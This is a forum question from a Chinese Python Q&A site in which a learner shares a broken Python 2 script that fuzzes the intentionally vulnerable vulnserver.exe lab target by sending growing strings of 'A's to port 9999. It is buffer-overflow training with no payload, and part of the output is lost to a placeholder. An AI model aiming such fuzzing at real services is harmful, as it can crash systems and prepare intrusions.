与spike fuzzer连接的python脚本vulnserver.ex

2024-09-30 14:30:24 发布

您现在位置:Python中文网/ 问答频道 /正文

好吧,我有vulnserver.exe在我的win7机器上运行,等待端口9999上的输入。它接受某些带有参数的命令,其中一个参数是TRUN,如果TRUN参数的长度正确,则会触发缓冲区溢出:

这是在kali linux上运行的python im试图连接到vulnserver,看看是否会导致崩溃:

import socket
numAs = 10
try:
while True:
# open a connection to vulnserver
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect (("194.168.1.154", 9999))
# receive the banner for vulnserver
s.recv (1024)
print "[*] Sending " + str(numAs) + " As"
# send the number of As to fuzz the HTER command
s.send ("HTER " + "A" * numAs + " \r\n")
# receive the response from vulnserver
s.recv (1024)
# close the connection
s.close ()
# increase the number of As we send next time
numAs += 10
except:
# if we get to here then something happened to vulnserver because the 
connection is closed
print "Socket closed after sending " + str(numAs - 10) + " As"

不过,下面是im得到的命令行输出

^{pr2}$

我对python非常陌生,不了解一些基本的错误,所以任何帮助都将不胜感激。非常感谢!在

还有vulnserver.exe程序可在以下位置获得: http://sites.google.com/site/lupingreycorner/vulnserver.zip

关于使用vulnserver进行模糊处理的教程如下: https://samsclass.info/127/proj/vuln-server.htm

如果还有其他信息我可以提供just ask,我只是尝试修复py脚本中的错误,这样我就可以试着用它来找出导致溢出的原因,并最终修改它,通过将字符串发送到vulnserver来创建一个有用的输入字符串来执行win7机器上的进程。在

感谢大家的帮助:)


Tags: theto机器send参数assocketconnection